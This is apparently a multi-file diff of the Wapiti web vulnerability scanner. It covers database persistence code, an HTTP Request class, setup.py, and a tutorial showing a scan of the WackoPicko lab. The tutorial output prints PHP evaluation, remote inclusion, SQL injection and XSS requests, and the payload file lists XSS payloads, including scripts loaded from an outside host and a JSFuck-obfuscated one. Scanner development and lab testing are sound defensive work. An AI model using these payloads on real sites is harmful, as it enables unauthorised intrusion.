request.set_headers(json.loads(row[7]))
request.link_depth = row[4]
request.path_id = path_id
return request
def get_payloads(self):
cursor = self._conn.cursor()
cursor.execute("SELECT * FROM payloads")
for row in cursor.fetchall():
evil_id, original_id, category, level, parameter, info, payload_type = row
evil_request = self.get_path_by_id(evil_id)
original_request = self.get_path_by_id(original_id)
yield Payload(evil_request, original_request, category, level, parameter, info, payload_type)
def flush_session(self):
self.flush_attacks()
cursor = self._conn.cursor()
cursor.execute("DELETE FROM paths")
cursor.execute("DELETE FROM params")
self._conn.commit()
def flush_attacks(self):
cursor = self._conn.cursor()
cursor.execute("DELETE FROM attack_log") # which module was launched on which URL
cursor.execute("DELETE FROM payloads") # informations on vulnerabilities and anomalies
cursor.execute("DELETE FROM paths WHERE evil = 1") # Evil requests
# Remove params tied to deleted requests
cursor.execute("DELETE FROM params WHERE path_id NOT IN (SELECT path_id FROM paths)")
self._conn.commit()
def delete_path_by_id(self, path_id):
cursor = self._conn.cursor()
# First remove all references to that path then remove it
cursor.execute("DELETE FROM payloads WHERE evil_path = ? OR original_path = ?", (path_id, path_id))
cursor.execute("DELETE FROM attack_log WHERE path_id = ?", (path_id, ))
cursor.execute("DELETE FROM params WHERE path_id = ?", (path_id, ))
cursor.execute("DELETE FROM paths WHERE path_id = ?", (path_id, ))
self._conn.commit()
def get_big_requests_ids(self, params_count: int) -> list:
cursor = self._conn.cursor()
cursor.execute(
"SELECT path_id, count(*) as params_count FROM params GROUP BY path_id HAVING params_count > ?",
(params_count, )
)
path_ids = set()
for row in cursor.fetchall():
path_id, count = row
path_ids.add(path_id)
return list(path_ids)
def remove_big_requests(self, params_count: int) -> int:
path_ids = self.get_big_requests_ids(params_count)
for path_id in path_ids:
self.delete_path_by_id(path_id)
return len(path_ids)
if __name__ == "__main__":
persister = SqlitePersister("/tmp/crawl.db")
for http_res in persister.get_links():
print(http_res)
print("-"*30)
for http_res in persister.get_forms():
print(http_res)
print("-" * 30)
for http_res in persister.get_to_browse():
print(http_res)
print("-" * 30)
for http_res in persister.get_links("http://127.0.0.1/users/encoding/bad.php"):
print(http_res)
print("-" * 30)
print(persister.get_root_url())
for http_res in persister.get_links(attack_module="xss"):
print(http_res.path_id)

View File

@ -0,0 +1,149 @@
Hello,
Here is a really fast tutorial on Wapiti and Wapiti-getcookie usage to show how to login to a website to retrieve cookies
then use the generated cookie file to launch a Wapiti scan.
First, I use wapiti-getcookie to login in the restricted area and get the cookie in cookies.json :
bash-4.2$ wapiti-getcookie -u http://wackopicko/users/login.php -c cookies.json
<Cookie PHPSESSID=aofe1utktsh6q4blip8nr9820lksehjf0tr3019vm6bq8v1ca6d1 for wackopicko/>
Choose the form you want to use or enter 'q' to leave :
0) GET http://wackopicko/pictures/search.php?query=&x=1&y=1 (0)
1) POST http://wackopicko/users/login.php (0)
data: username=&password=
Enter a number : 1
Please enter values for the following form:
url = http://wackopicko/users/login.php
username: wanda
password: wanda
<Cookie PHPSESSID=aofe1utktsh6q4blip8nr9820lksehjf0tr3019vm6bq8v1ca6d1 for wackopicko/>
It can also be done with wapiti-getcookie this way (if you have all necessary informations about the form) :
wapiti-getcookie -u http://wackopicko/users/login.php -c cookies.json -d "username=wanda&password=wanda"
Then, I scan the vulnerable website using the cookie and excluding the logout script :
bash-4.2$ wapiti -u http://wackopicko/ -x http://wackopicko/users/logout.php -c cookies.json
██╗ ██╗ █████╗ ██████╗ ██╗████████╗██╗██████╗
██║ ██║██╔══██╗██╔══██╗██║╚══██╔══╝██║╚════██╗
██║ █╗ ██║███████║██████╔╝██║ ██║ ██║ █████╔╝
██║███╗██║██╔══██║██╔═══╝ ██║ ██║ ██║ ╚═══██╗
╚███╔███╔╝██║ ██║██║ ██║ ██║ ██║██████╔╝
╚══╝╚══╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝╚═════╝
Wapiti-3.0.0 (wapiti.sourceforge.net)
[*] Saving scan state, please wait...
Note
========
This scan has been saved in the file /home/devloop/.wapiti/scans/wackopicko_folder_30e1d821.db
[*] Wapiti found 41 URLs and forms during the scan
[*] Loading modules:
mod_crlf, mod_exec, mod_file, mod_sql, mod_xss, mod_backup, mod_htaccess, mod_blindsql, mod_permanentxss, mod_nikto, mod_delay, mod_buster, mod_shellshock
[*] Launching module exec
---
Received a HTTP 500 error in http://wackopicko/admin/index.php
Evil request:
GET /users/WackoPicko/website/admin/index.php?page=%3Benv HTTP/1.1
Host: wackopicko
---
---
PHP evaluation in http://wackopicko/admin/index.php via injection in the parameter page
Evil request:
GET /users/WackoPicko/website/admin/index.php?page=data%3A%3Bbase64%2CPD9waHAgZWNobyAndzRwMXQxJywnX2V2YWwnOyA%2FPg%3D%3D HTTP/1.1
Host: wackopicko
---
---
Received a HTTP 500 error in http://wackopicko/admin/index.php
Evil request:
POST /users/WackoPicko/website/admin/index.php?page=%3Benv HTTP/1.1
Host: wackopicko
Referer: http://wackopicko/admin/index.php?page=login
Content-Type: application/x-www-form-urlencoded
adminname=default&password=letmein
---
---
PHP evaluation in http://wackopicko/admin/index.php via injection in the parameter page
Evil request:
POST /users/WackoPicko/website/admin/index.php?page=data%3A%3Bbase64%2CPD9waHAgZWNobyAndzRwMXQxJywnX2V2YWwnOyA%2FPg%3D%3D HTTP/1.1
Host: wackopicko
Referer: http://wackopicko/admin/index.php?page=login
Content-Type: application/x-www-form-urlencoded
adminname=default&password=letmein
---
[*] Launching module file
---
Remote inclusion vulnerability in http://wackopicko/admin/index.php via injection in the parameter page
Evil request:
GET /users/WackoPicko/website/admin/index.php?page=http%3A%2F%2Fwww.google.fr%2F%3F HTTP/1.1
Host: wackopicko
---
---
Remote inclusion vulnerability in http://wackopicko/admin/index.php via injection in the parameter page
Evil request:
POST /users/WackoPicko/website/admin/index.php?page=http%3A%2F%2Fwww.google.fr%2F%3F HTTP/1.1
Host: wackopicko
Referer: http://wackopicko/admin/index.php?page=login
Content-Type: application/x-www-form-urlencoded
adminname=default&password=letmein
---
[*] Launching module sql
---
Received a HTTP 500 error in http://wackopicko/admin/index.php
Evil request:
GET /users/WackoPicko/website/admin/index.php?page=%C2%BF%27%22%28 HTTP/1.1
Host: wackopicko
---
---
Received a HTTP 500 error in http://wackopicko/admin/index.php
Evil request:
POST /users/WackoPicko/website/admin/index.php?page=%C2%BF%27%22%28 HTTP/1.1
Host: wackopicko
Referer: http://wackopicko/admin/index.php?page=login
Content-Type: application/x-www-form-urlencoded
adminname=default&password=letmein
---
[*] Launching module xss
---
XSS vulnerability in http://wackopicko/pictures/search.php via injection in the parameter query
Evil request:
GET /users/WackoPicko/website/pictures/search.php?query=%22%2F%3E%3Cscript%3Ealert%28%27wj6bncic12%27%29%3C%2Fscript%3E&x=1&y=1 HTTP/1.1
Host: wackopicko
Referer: http://wackopicko/
---
[*] Launching module blindsql
---
Received a HTTP 500 error in http://wackopicko/admin/index.php
Evil request:
GET /users/WackoPicko/website/admin/index.php?page=sleep%287%29%231 HTTP/1.1
Host: wackopicko
---
---
Received a HTTP 500 error in http://wackopicko/admin/index.php
Evil request:
POST /users/WackoPicko/website/admin/index.php?page=sleep%287%29%231 HTTP/1.1
Host: wackopicko
Referer: http://wackopicko/admin/index.php?page=login
Content-Type: application/x-www-form-urlencoded
adminname=default&password=letmein
---
[*] Launching module permanentxss
Report
------
A report has been generated in the file /home/devloop/.wapiti/generated_report
Open /home/devloop/.wapiti/generated_report/wackopicko_12292017_1342.html with a browser to see this report.

View File

@ -0,0 +1,615 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
# Copyright (C) 2008-2018 Nicolas Surribas
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
from urllib.parse import urlparse, quote
import posixpath
from copy import deepcopy
def shell_escape(s: str):
s = s.replace('\\', '\\\\')
s = s.replace('"', '\\"')
s = s.replace('$', '\\$')
s = s.replace('!', '\\!')
s = s.replace('`', '\\`')
return s
class Request:
def __init__(
self, path: str, method: str = "",
get_params: list = None, post_params: list = None, file_params: list = None,
encoding: str = "UTF-8", multipart: bool = False, referer: str = "", link_depth: int = 0):
"""Create a new Request object.
Takes the following arguments:
path : The path of the HTTP resource on the server. It can contain a query string.
get_params : A list of key/value parameters (each one is a list of two string).
Each string should already be urlencoded in the good encoding format.
post_params : Same structure as above but specify the parameters sent in the HTTP body.
file_params : Same as above expect the values are a tuple (filename, file_content).
encoding : A string specifying the encoding used to send data to this URL.
Don't mistake it with the encoding of the webpage pointed out by the Request.
referer : The URL from which the current Request was found.
"""
self._resource_path = path.split("#")[0]
# Most of the members of a Request object are immutable so we compute
# the data only one time (when asked for) and we keep it in memory for less
# calculations in those "cached" vars.
self._cached_url = ""
self._cached_get_keys = None
self._cached_post_keys = None
self._cached_file_keys = None
self._cached_encoded_params = None
self._cached_encoded_data = None
self._cached_encoded_files = None
self._cached_hash = None
self._multipart = multipart
self._cached_hash_params = None
self._status = None
# same structure as _get_params, see below
if not post_params:
# None or empty string or empty list
self._post_params = []
else:
if isinstance(post_params, list):
# Non empty list
self._post_params = deepcopy(post_params)
elif isinstance(post_params, str):
self._post_params = []
if len(post_params):
for kv in post_params.split("&"):
if kv.find("=") > 0:
self._post_params.append(kv.split("=", 1))
else:
# ?param without value
self._post_params.append([kv, None])
# eg: files = [['file_field', ('file_name', 'file_content')]]
if not file_params:
self._file_params = []
else:
if isinstance(file_params, list):
self._file_params = deepcopy(file_params)
else:
self._file_params = file_params
# eg: get = [['id', '25'], ['color', 'green']]
if not get_params:
self._get_params = []
if "?" in self._resource_path:
query_string = urlparse(self._resource_path).query
for kv in query_string.split("&"):
if kv.find("=") > 0:
self._get_params.append(kv.split("=", 1))
else:
# ?param without value
self._get_params.append([kv, None])
self._resource_path = self._resource_path.split("?")[0]
else:
if isinstance(get_params, list):
self._resource_path = self._resource_path.split("?")[0]
self._get_params = deepcopy(get_params)
else:
self._get_params = get_params
if not method:
# For lazy
if self._post_params or self._file_params:
self._method = "POST"
else:
self._method = "GET"
else:
self._method = method
self._encoding = encoding
self._referer = referer
self._link_depth = link_depth
parsed = urlparse(self._resource_path)
self._file_path = parsed.path
self._hostname = parsed.netloc
self._port = 80
if parsed.port is not None:
self._port = parsed.port
elif parsed.scheme == "https":
self._port = 443
self._headers = None
self._start_time = None
self._duration = -1
self._size = 0
self._path_id = None
# TODO: hashable objects should be read-only. Currently the Mutator get a deepcopy of params to play with but
# having read-only params in Request class would be more Pythonic. More work on the Mutator in a future version ?
def __hash__(self):
if self._cached_hash is None:
get_kv = tuple([tuple(param) for param in self._get_params])
post_kv = tuple([tuple(param) for param in self._post_params])
file_kv = tuple([tuple([param[0], param[1][0]]) for param in self._file_params])
self._cached_hash = hash((self._method, self._resource_path, get_kv, post_kv, file_kv))
return self._cached_hash
def __eq__(self, other):
if not isinstance(other, Request):
return NotImplemented
if self._method != other.method:
return False
if self._resource_path != other.path:
return False
return hash(self) == hash(other)
def __lt__(self, other):
if not isinstance(other, Request):
return NotImplemented
if self.url < other.url:
return True
else:
if self.url == other.url:
return self.encoded_data < other.encoded_data
return False
def __le__(self, other):
if not isinstance(other, Request):
return NotImplemented
if self.url < other.url:
return True
elif self.url == other.url:
return self.encoded_data <= other.encoded_data
return False
def __ne__(self, other):
if not isinstance(other, Request):
return NotImplemented
if self.method != other.method:
return True
if self._resource_path != other.path:
return True
return hash(self) != hash(other)
def __gt__(self, other):
if not isinstance(other, Request):
return NotImplemented
if self.url > other.url:
return True
elif self.url == other.url:
return self.encoded_data > other.encoded_data
return False
def __ge__(self, other):
if not isinstance(other, Request):
return NotImplemented
if self.url > other.url:
return True
elif self.url == other.url:
return self.encoded_data >= other.encoded_data
return False
def __len__(self):
return len(self.get_params) + len(self._post_params) + len(self._file_params)
@staticmethod
def _encoded_keys(params):
return "&".join([quote(key, safe='%') for key in sorted(kv[0] for kv in params)])
def __repr__(self):
if self._get_params:
buff = "{0} {1} ({2})".format(self._method, self.url, self._link_depth)
else:
buff = "{0} {1} ({2})".format(self._method, self._resource_path, self._link_depth)
if self._post_params:
buff += "\n\tdata: {}".format(self.encoded_data)
if self._file_params:
buff += "\n\tfiles: {}".format(self.encoded_files)
return buff
def http_repr(self, left_margin=" "):
rel_url = self.url.split('/', 3)[3]
http_string = "{3}{0} /{1} HTTP/1.1\n{3}Host: {2}\n".format(
self._method,
rel_url,
self._hostname,
left_margin
)
if self._referer:
http_string += "{}Referer: {}\n".format(left_margin, self._referer)
if self._file_params:
boundary = "------------------------boundarystring"
http_string += "{}Content-Type: multipart/form-data; boundary={}\n\n".format(left_margin, boundary)
for field_name, field_value in self._post_params:
http_string += (
"{3}{0}\n{3}Content-Disposition: form-data; "
"name=\"{1}\"\n\n{3}{2}\n"
).format(boundary, field_name, field_value, left_margin)
for field_name, field_value in self._file_params:
http_string += (
"{3}{0}\n{3}Content-Disposition: form-data; name=\"{1}\"; filename=\"{2}\"\n\n"
"{3}/* snip file content snip */\n").format(boundary, field_name, field_value[0], left_margin)
http_string += "{0}--\n".format(boundary)
elif self._post_params:
http_string += "{}Content-Type: application/x-www-form-urlencoded\n".format(left_margin)
http_string += "\n{}{}".format(left_margin, self.encoded_data)
return http_string.rstrip()
@property
def curl_repr(self):
curl_string = "curl \"{0}\"".format(shell_escape(self.url))
if self._referer:
curl_string += " -e \"{0}\"".format(shell_escape(self._referer))
if self._file_params:
for field_name, field_value in self._post_params:
curl_string += " -F \"{0}\"".format(shell_escape("{0}={1}".format(field_name, field_value)))
for field_name, field_value in self._file_params:
curl_upload_kv = "{0}=@your_local_file;filename={1}".format(field_name, field_value[0])
curl_string += " -F \"{0}\"".format(shell_escape(curl_upload_kv))
pass
elif self._post_params:
curl_string += " -d \"{0}\"".format(shell_escape(self.encoded_data))
return curl_string
def set_headers(self, response_headers):
"""Set the HTTP headers received while requesting the resource"""
self._headers = response_headers
@property
def size(self):
return self._size
@size.setter
def size(self, value: int):
self._size = value
@property
def duration(self):
return self._duration
@duration.setter
def duration(self, value: float):
self._duration = value
@property
def status(self) -> int:
return self._status
@status.setter
def status(self, value: int):
self._status = value
@property
def url(self) -> str:
if not self._cached_url:
if self._get_params:
self._cached_url = "{0}?{1}".format(
self._resource_path,
self._encode_params(self._get_params)
)
else:
self._cached_url = self._resource_path
return self._cached_url
@property
def hostname(self) -> str:
return self._hostname
@property
def port(self):
return self._port
@property
def path(self):
return self._resource_path
@property
def file_path(self):
return self._file_path
@property
def is_root(self) -> bool:
return True if self._file_path == "/" else False
@property
def file_ext(self) -> str:
return posixpath.splitext(self._file_path)[1].lower()
@property
def file_name(self) -> str:
return posixpath.basename(self._file_path)
@property
def dir_name(self):
if self.file_name:
return posixpath.dirname(self._resource_path) + "/"
return self._resource_path
@property
def parent_dir(self):
if self.file_name:
return posixpath.dirname(self._resource_path) + "/"
elif self.is_root:
return self._resource_path
else:
return posixpath.dirname(posixpath.dirname(self._resource_path)) + "/"
@property
def method(self) -> str:
return self._method
@property
def encoding(self) -> str:
return self._encoding
@property
def is_multipart(self) -> bool:
return self._multipart
@property
def headers(self):
return self._headers
@property
def referer(self) -> str:
return self._referer
@property
def link_depth(self) -> int:
return self._link_depth
@link_depth.setter
def link_depth(self, value: int):
self._link_depth = value
# To prevent errors, always return a deepcopy of the internal lists
@property
def get_params(self):
# Return a list of lists containing two elements (parameter name and parameter value)
return deepcopy(self._get_params)
@property
def post_params(self):
return deepcopy(self._post_params)
@property
def file_params(self):
return deepcopy(self._file_params)
@property
def get_keys(self):
if len(self._get_params):
return list(zip(*self._get_params))[0]
return ()
@property
def post_keys(self):
if len(self._post_params):
return list(zip(*self._post_params))[0]
return ()
@property
def file_keys(self):
if len(self._file_params):
return list(zip(*self._file_params))[0]
return ()
@staticmethod
def _encode_params(params):
if not params:
return ""
key_values = []
for k, v in params:
k = quote(k, safe='%')
if v is None:
key_values.append(k)
else:
if isinstance(v, tuple) or isinstance(v, list):
# for upload fields
v = v[0]
v = quote(v, safe='%')
key_values.append("%s=%s" % (k, v))
return "&".join(key_values)
@property
def encoded_params(self):
return self._encode_params(self._get_params)
@property
def encoded_data(self):
"""Return a raw string of key/value parameters for POST requests"""
return self._encode_params(self._post_params)
@property
def encoded_files(self):
return self._encode_params(self._file_params)
@property
def encoded_get_keys(self):
if self._cached_get_keys is None:
self._cached_get_keys = self._encoded_keys(self._get_params)
return self._cached_get_keys
@property
def encoded_post_keys(self):
if self._cached_post_keys is None:
self._cached_post_keys = self._encoded_keys(self._post_params)
return self._cached_post_keys
@property
def encoded_file_keys(self):
if self._cached_file_keys is None:
self._cached_file_keys = self._encoded_keys(self._file_params)
return self._cached_file_keys
@property
def encoded_keys(self):
return "{}|{}|{}".format(self.encoded_get_keys, self.encoded_post_keys, self.encoded_file_keys)
@property
def pattern(self):
return "{}?{}".format(self.path, self.encoded_keys)
@property
def hash_params(self):
if self._cached_hash_params is None:
self._cached_hash_params = hash(self.pattern)
return self._cached_hash_params
@property
def path_id(self):
return self._path_id
@path_id.setter
def path_id(self, value: int):
self._path_id = value
if __name__ == "__main__":
res1 = Request(
"http://httpbin.org/post?var1=a&var2=b",
post_params=[['post1', 'c'], ['post2', 'd']]
)
res2 = Request(
"http://httpbin.org/post?var1=a&var2=z",
post_params=[['post1', 'c'], ['post2', 'd']]
)
res3 = Request(
"http://httpbin.org/post?var1=a&var2=b",
post_params=[['post1', 'c'], ['post2', 'z']]
)
res4 = Request(
"http://httpbin.org/post?var1=a&var2=b",
post_params=[['post1', 'c'], ['post2', 'd']]
)
res5 = Request(
"http://httpbin.org/post?var1=z&var2=b",
post_params=[['post1', 'c'], ['post2', 'd']]
)
res6 = Request(
"http://httpbin.org/post?var3=z&var2=b",
post_params=[['post1', 'c'], ['post2', 'd']]
)
res7 = Request(
"http://httpbin.org/post?var1=z&var2=b&var4=e",
post_params=[['post1', 'c'], ['post2', 'd']]
)
res8 = Request(
"http://httpbin.org/post?var2=d&var1=z",
post_params=[['post1', 'c'], ['post2', 'd']]
)
res10 = Request(
"http://httpbin.org/post?qs0",
post_params=[['post1', 'c'], ['post2', 'd']]
)
res11 = Request(
"http://httpbin.org/post?qs1",
post_params=[['post1', 'c'], ['post2', 'd']]
)
res12 = Request(
"http://httpbin.org/post?qs1",
post_params=[['post1', 'c'], ['post2', 'd']],
file_params=[['file1', ['fname1', 'content']], ['file2', ['fname2', 'content']]]
)
res13 = Request("https://www.youtube.com/user/OneMinuteSilenceBand/videos")
res14 = Request("https://www.youtube.com/user/OneMinuteSilenceBand/")
res15 = Request("https://duckduckgo.com/")
res16 = Request("https://duckduckgo.com/", post_params=[['q', 'Kung Fury']])
res17 = Request("http://example.com:8080/dir/?x=3")
res18 = Request(
"http://httpbin.org/get?a=1",
get_params=[['get1', 'c'], ['get2', 'd']]
)
assert res1 < res2
assert res2 > res3
assert res1 < res3
assert res1 == res4
assert hash(res1) == hash(res4)
res4.link_depth = 5
assert hash(res1) == hash(res4)
assert res1 != res2
assert res2 >= res1
assert res1 <= res3
assert res13.file_name == "videos"
assert res10.path == "http://httpbin.org/post"
assert res10.file_name == "post"
assert res10.url == "http://httpbin.org/post?qs0"
assert res13.parent_dir == res14.url
assert res15.is_root
assert res15.parent_dir == res15.url
assert res13.dir_name == res14.url
assert res14.dir_name == res14.url
assert res15.dir_name == res15.url
assert res15 != res16
query_list = [res15]
assert res16 not in query_list
assert res17.dir_name == "http://example.com:8080/dir/"
assert res18.url == "http://httpbin.org/get?get1=c&get2=d"
assert res17.hostname == "example.com:8080"
assert res1.encoded_get_keys == res8.encoded_get_keys
assert res17.encoded_get_keys == "x"
assert res16.encoded_get_keys == ""
assert len(res12) == 5
assert res12.encoded_get_keys == "qs1"
assert res5.hash_params == res8.hash_params
assert res7.hash_params != res8.hash_params
print("Tests were successful, now launching representations")
print("=== Basic representation follows ===")
print(res1)
print("=== cURL representation follows ===")
print(res1.curl_repr)
print("=== HTTP representation follows ===")
print(res1.http_repr())
print("=== POST parameters as an array ===")
print(res1.post_params)
print("=== POST keys encoded as string ===")
print(res1.encoded_post_keys)
print("=== Upload HTTP representation ===")
print(res12.http_repr())
print("=== Upload basic representation ===")
print(res12)
print("=== Upload cURL representation ===")
print(res12.curl_repr)
print("=== HTTP GET keys as a tuple ===")
print(res1.get_keys)
print("=== HTTP POST keys as a tuple ===")
print(res1.post_keys)
print("=== HTTP files keys as a tuple ===")
print(res12.file_keys)
print('')

View File

@ -0,0 +1,103 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
# Copyright (C) 2008-2018 Nicolas Surribas
#
# Original author :
# David del Pozo
# Alberto Pastor
# Copyright (C) 2008 Informatica Gesfor
# ICT Romulus (http://www.ict-romulus.eu)
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
from xml.parsers import expat
from wapitiCore.language.vulnerability import Vulnerability
class VulnerabilityXMLParser:
VULNERABILITY = "vulnerability"
VULNERABILITY_NAME = "name"
VULNERABILITY_DESCRIPTION = "description"
VULNERABILITY_SOLUTION = "solution"
VULNERABILITY_REFERENCE = "reference"
VULNERABILITY_REFERENCES = "references"
VULNERABILITY_REFERENCE_TITLE = "title"
VULNERABILITY_REFERENCE_URL = "url"
def __init__(self):
self._parser = expat.ParserCreate()
self._parser.StartElementHandler = self.start_element
self._parser.EndElementHandler = self.end_element
self._parser.CharacterDataHandler = self.char_data
self.vulnerabilities = []
self.vul = None
self.references = {}
self.title = ""
self.url = ""
self.tag = ""
def parse(self, filename):
with open(filename) as f:
content = f.read()
self.feed(content)
def feed(self, data):
self._parser.Parse(data, 0)
def close(self):
self._parser.Parse("", 1)
del self._parser
def start_element(self, name, attrs):
if name == self.VULNERABILITY:
self.vul = Vulnerability()
self.vul.set_name(attrs[self.VULNERABILITY_NAME])
elif name == self.VULNERABILITY_DESCRIPTION:
self.tag = self.VULNERABILITY_DESCRIPTION
elif name == self.VULNERABILITY_SOLUTION:
# self.tag = self.VULNERABILITY_SOLUTION
self.vul.set_solution(attrs["text"])
elif name == self.VULNERABILITY_REFERENCES:
self.references = {}
elif name == self.VULNERABILITY_REFERENCE:
self.tag = self.VULNERABILITY_REFERENCE
elif name == self.VULNERABILITY_REFERENCE_TITLE:
self.tag = self.VULNERABILITY_REFERENCE_TITLE
elif name == self.VULNERABILITY_REFERENCE_URL:
self.tag = self.VULNERABILITY_REFERENCE_URL
def end_element(self, name):
if name == self.VULNERABILITY:
self.vulnerabilities.append(self.vul)
elif name == self.VULNERABILITY_REFERENCE:
self.references[self.title] = self.url
elif name == self.VULNERABILITY_REFERENCES:
self.vul.set_references(self.references)
def char_data(self, data):
if self.tag == self.VULNERABILITY_DESCRIPTION:
self.vul.set_description(data)
# elif self.tag==self.VULNERABILITY_SOLUTION:
# self.vul.set_solution(data)
elif self.tag == self.VULNERABILITY_REFERENCE_TITLE:
self.title = data
elif self.tag == self.VULNERABILITY_REFERENCE_URL:
self.url = data
self.tag = ""
def get_vulnerabilities(self):
return self.vulnerabilities

File diff suppressed because one or more lines are too long

View File

@ -0,0 +1,24 @@
from urllib.parse import quote, unquote
import html
def encode(params_list):
"""Encode a sequence of two-element lists or dictionary into a URL query string."""
encoded_params = []
for k, v in params_list:
# not safe: '&=#' with of course quotes...
k = quote(k, safe='/%[]:;$()+,!?*')
v = quote(v, safe='/%[]:;$()+,!?*')
encoded_params.append("%s=%s" % (k, v))
return "&".join(encoded_params)
def uqe(self, params_list): # , encoding = None):
"""urlencode a string then interpret the hex characters (%41 will give 'A')."""
return unquote(self.encode(params_list)) # , encoding))
def escape(url):
"""Change special characters in their html entities representation."""
return html.escape(url, quote=True).replace("'", "%27")

View File

@ -0,0 +1,96 @@
#!/usr/bin/env python3
from setuptools import setup, find_packages
VERSION = "3.0.1"
DOC_DIR = "share/doc/wapiti"
doc_and_conf_files = [
(
DOC_DIR,
[
"doc/AUTHORS",
"doc/ChangeLog_Wapiti",
"doc/ChangeLog_lswww",
"doc/example.txt",
"doc/FAQ.md",
"doc/wapiti.1.html",
"doc/wapiti.ronn",
"doc/wapiti-getcookie.1.html",
"doc/wapiti-getcookie.ronn",
"INSTALL.md",
"README.md",
"VERSION"
]
),
(
"share/man/man1",
[
"doc/wapiti.1",
"doc/wapiti-getcookie.1"
]
)
]
parser_name = "html5lib"
# Main
setup(
name="wapiti3",
version=VERSION,
description="A web application vulnerability scanner",
long_description="""\
Wapiti allows you to audit the security of your web applications.
It performs "black-box" scans, i.e. it does not study the source code of the
application but will scans the webpages of the deployed webapp, looking for
scripts and forms where it can inject data.
Once it gets this list, Wapiti acts like a fuzzer, injecting payloads to see
if a script is vulnerable.""",
url="http://wapiti.sourceforge.net/",
author="Nicolas Surribas",
author_email="nicolas.surribas@gmail.com",
license="GPLv2",
platforms=["Any"],
packages=find_packages(),
data_files=doc_and_conf_files,
include_package_data=True,
scripts=[
"bin/wapiti",
"bin/wapiti-getcookie"
],
classifiers=[
'Development Status :: 5 - Production/Stable',
'Environment :: Console',
'Intended Audience :: End Users/Desktop',
'Intended Audience :: Developers',
'Intended Audience :: System Administrators',
'License :: OSI Approved :: GNU General Public License v2 (GPLv2)',
'Natural Language :: English',
'Operating System :: MacOS :: MacOS X',
'Operating System :: Microsoft :: Windows',
'Operating System :: POSIX',
'Operating System :: Unix',
'Programming Language :: Python',
'Topic :: Security',
'Topic :: Internet :: WWW/HTTP :: Indexing/Search',
'Topic :: Software Development :: Testing'
],
install_requires=[
"requests",
"beautifulsoup4",
parser_name,
"tld",
"yaswfp",
"mako",
"PySocks"
],
extras_require={
'NTLM': ["requests_ntlm"],
'Kerberos': ["requests_kerberos"],
},
entry_points={
"console_scripts": [
"wapiti = wapitiCore.main.wapiti:wapiti_main",
"wapiti-getcookie = wapitiCore.main.getcookie:getcookie_main",
],
}
)

View File

@ -0,0 +1,321 @@
; Let's start with the most obvious XSS payloads
[script_absolute_src]
payload = <script src=https://wapiti3.ovh/__XSS__z.js></script>
tag = script
attribute = src
value = https://wapiti3.ovh/__XSS__z.js
case_sensitive = no
[script_protocol_src]
payload = <script src=//wapiti3.ovh/__XSS__z.js></script>
tag = script
attribute = src
value = //wapiti3.ovh/__XSS__z.js
case_sensitive = no
[script_alert_quote]
payload = <script>alert('__XSS__')</script>
tag = script
attribute = string
value = alert('__XSS__')
case_sensitive = yes
[script_alert_double_quote]
payload = <script>alert("__XSS__")</script>
tag = script
attribute = string
value = alert("__XSS__")
case_sensitive = yes
[script_alert_regex]
payload = <script>alert(/__XSS__/)</script>
tag = script
attribute = string
value = alert(/__XSS__/)
case_sensitive = yes
[script_jsfuck_13_plus_37]
payload = <script>[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]([+!+[]]+[!+[]+!+[]+!+[]]+(+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]])+[])[!+[]+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]])()</script>
tag = script
attribute = string
